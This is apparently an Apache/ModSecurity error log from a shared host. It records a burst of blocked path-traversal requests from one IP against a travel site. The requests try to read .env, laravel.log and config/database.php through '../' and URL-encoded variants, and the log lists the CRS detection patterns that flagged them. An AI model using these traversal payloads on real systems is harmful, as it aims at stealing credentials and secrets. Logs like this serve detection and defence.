[Fri Jul 17 08:55:07.320148 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../../../.env&anything=ywv7g8pzctk88ld1u0fjg63wtbw2tlc6tvqwr-zyezouzfm0h6rvmw8k5kf29g0xcznxt7uefgvhedwf3uoe_bqbnqwn_exwfxebljxkorn0w800nlg51ygs0zxsvahlkktpxkqwrlkd7czrwt8k-zdo9tbpvurzexw3czbyi94lb6t6oroml1bvo29xqkz52ni7sg5qgjq9ekg1ryjl_n3mj1tvniwmwtmm1bknytgt5fdkey9gzt92zxiqih3_1lsbfqrghiefe56_piut1go5&ts=vexjnedqx5e6pc53jru6fnz6d3ws5a377asnhikniadh3bzccu4n2vplxwrckg4uns2ggfn3id3bg7d475ns3xowegn5ad4wrkaro65o32wtnqgyqmlieaetpokhpcsxggmyrsrahstlar2wq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.320196 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.320229 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.320788 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2F..%2F..%2F.env&ref=sFlr7qj_xa-24mFdgUvBQycq_t9wYl_ezJjwYwWoIRJQEDoK7Cs3rd_fQbh9dkLCw3uj3-XzJAi6z7ULn3YRwuZ-qfZ1aU0hWt0cWURkVJGy8gQdBBQCTXpRCOHX079oLcC-jiTPwjEDBseCyNZM_reyrs0ND6m8N12gMJneJTeWZ1BhiPFKKoNDYPBFaoADQ4q3wYxn3b0xQqMM5W_nid9n5H7cPQTmDTRu3X30z05SbqqK0PKo4BPc-7qLFoTvKmGDu4fdhypmjdjCvAqO3KNW&anything=NRWBGMJQNO3KTHR2QAKTDUSGMWVARCNTZ76PMY4R3N5VCSBDS2KEMEYNJGTIOMMW34E4ZBECRCH7U4XKBQODQ4JXJXGMJXC6EXTLYEWN34SKZQOCEXZRJRTGNYAWIGDFXE5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.320824 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.321947 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.322146 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.322528 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.322670 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../../.env&ref=sFlr7qj_xa-24mFdgUvBQycq_t9wYl_ezJjwYwWoIRJQEDoK7Cs3rd_fQbh9dkLCw3uj3-XzJAi6z7ULn3YRwuZ-qfZ1aU0hWt0cWURkVJGy8gQdBBQCTXpRCOHX079oLcC-jiTPwjEDBseCyNZM_reyrs0ND6m8N12gMJneJTeWZ1BhiPFKKoNDYPBFaoADQ4q3wYxn3b0xQqMM5W_nid9n5H7cPQTmDTRu3X30z05SbqqK0PKo4BPc-7qLFoTvKmGDu4fdhypmjdjCvAqO3KNW&anything=NRWBGMJQNO3KTHR2QAKTDUSGMWVARCNTZ76PMY4R3N5VCSBDS2KEMEYNJGTIOMMW34E4ZBECRCH7U4XKBQODQ4JXJXGMJXC6EXTLYEWN34SKZQOCEXZRJRTGNYAWIGDFXE5KEELA2SSLQJT4PFN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.322711 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../../.env&ref=sflr7qj_xa-24mfdguvbqycq_t9wyl_ezjjwywwoirjqedok7cs3rd_fqbh9dklcw3uj3-xzjai6z7uln3yrwuz-qfz1au0hwt0cwurkvjgy8gqdbbqctxprcohx079olcc-jitpwjedbsecynzm_reyrs0nd6m8n12gmjnejtewz1bhipfkkondypbfaoadq4q3wyxn3b0xqqmm5w_nid9n5h7cpqtmdtru3x30z05sbqqk0pko4bpc-7qlfotvkmgdu4fdhypmjdjcvaqo3knw&anything=nrwbgmjqno3kthr2qaktdusgmwvarcntz76pmy4r3n5vcsbds2kemeynjgtiommw34e4zbecrch7u4xkbqodq4jxjxgmjxc6extlyewn34skzqocexzrjrtgnyawigdfxe5keela2sslqjt4pfn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.322731 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.322761 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.323888 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=yMj1Rk3NmVxkYPV_6KgynFhu-r23bsW8e36Cfe4G-u0YFDlaPNGh1qRJK4ZuidmoKxtxb0s7gE-FIg50aeQAQ7PHPyKj2eVpMt5_3eCCAU3prlX4f6M7nz45Pv_1p1DVqT_ihl_1AI_99fOxkWoBIu6etJ1RMTox8PZkZ7eV9NPShRbz-5NwVG11DMvT4sqwDQ_APX_HI3fkOxo_8TvIMExeatRFjD2v-IUzrTaxY_3Q_2W3vfMnyVCh2MMcNjp-BOZntbcCANmvbA-Z8QsN3Jqf&ref=2RYVLL7RCOB525QSHORJDYNJP4TP5VAWOL45DJWWNJMWATADMENEVPB4BQ46EXHKJGMIJIX73T5GZKYR33AZ4H4VQHG2FYJC6RN53G7H42M6F6JCDGKWPZ4W..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.323938 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.324014 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.324071 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.324153 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../storage/logs/laravel.log&token=yMj1Rk3NmVxkYPV_6KgynFhu-r23bsW8e36Cfe4G-u0YFDlaPNGh1qRJK4ZuidmoKxtxb0s7gE-FIg50aeQAQ7PHPyKj2eVpMt5_3eCCAU3prlX4f6M7nz45Pv_1p1DVqT_ihl_1AI_99fOxkWoBIu6etJ1RMTox8PZkZ7eV9NPShRbz-5NwVG11DMvT4sqwDQ_APX_HI3fkOxo_8TvIMExeatRFjD2v-IUzrTaxY_3Q_2W3vfMnyVCh2MMcNjp-BOZntbcCANmvbA-Z8QsN3Jqf&ref=2RYVLL7RCOB525QSHORJDYNJP4TP5VAWOL45DJWWNJMWATADMENEVPB4BQ46EXHKJGMIJIX73T5GZKYR33AZ4H4VQHG2FYJC6RN53G7H42M6F6JCDGKWPZ4W7SUAYF2VQ3HGCB4B..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.324229 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../storage/logs/laravel.log&token=ymj1rk3nmvxkypv_6kgynfhu-r23bsw8e36cfe4g-u0yfdlapngh1qrjk4zuidmokxtxb0s7ge-fig50aeqaq7phpykj2evpmt5_3eccau3prlx4f6m7nz45pv_1p1dvqt_ihl_1ai_99foxkwobiu6etj1rmtox8pzkz7ev9npshrbz-5nwvg11dmvt4sqwdq_apx_hi3fkoxo_8tvimexeatrfjd2v-iuzrtaxy_3q_2w3vfmnyvch2mmcnjp-bozntbccanmvba-z8qsn3jqf&ref=2ryvll7rcob525qshorjdynjp4tp5vawol45djwwnjmwatadmenevpb4bq46exhkjgmijix73t5gzkyr33az4h4vqhg2fyjc6rn53g7h42m6f6jcdgkwpz4w7suayf2vq3hgcb4b..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.324283 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.324345 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.324357 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUZAAAABI"]
[Fri Jul 17 08:55:07.324676 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28QAAACM"]
[Fri Jul 17 08:55:07.324718 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28QAAACM"]
[Fri Jul 17 08:55:07.324778 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:src: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28QAAACM"]
[Fri Jul 17 08:55:07.325831 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
[Fri Jul 17 08:55:07.325841 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28QAAACM"]
[Fri Jul 17 08:55:07.326004 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.326147 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.326288 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt28QAAACM"]
[Fri Jul 17 08:55:07.326773 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6eAAAABE"]
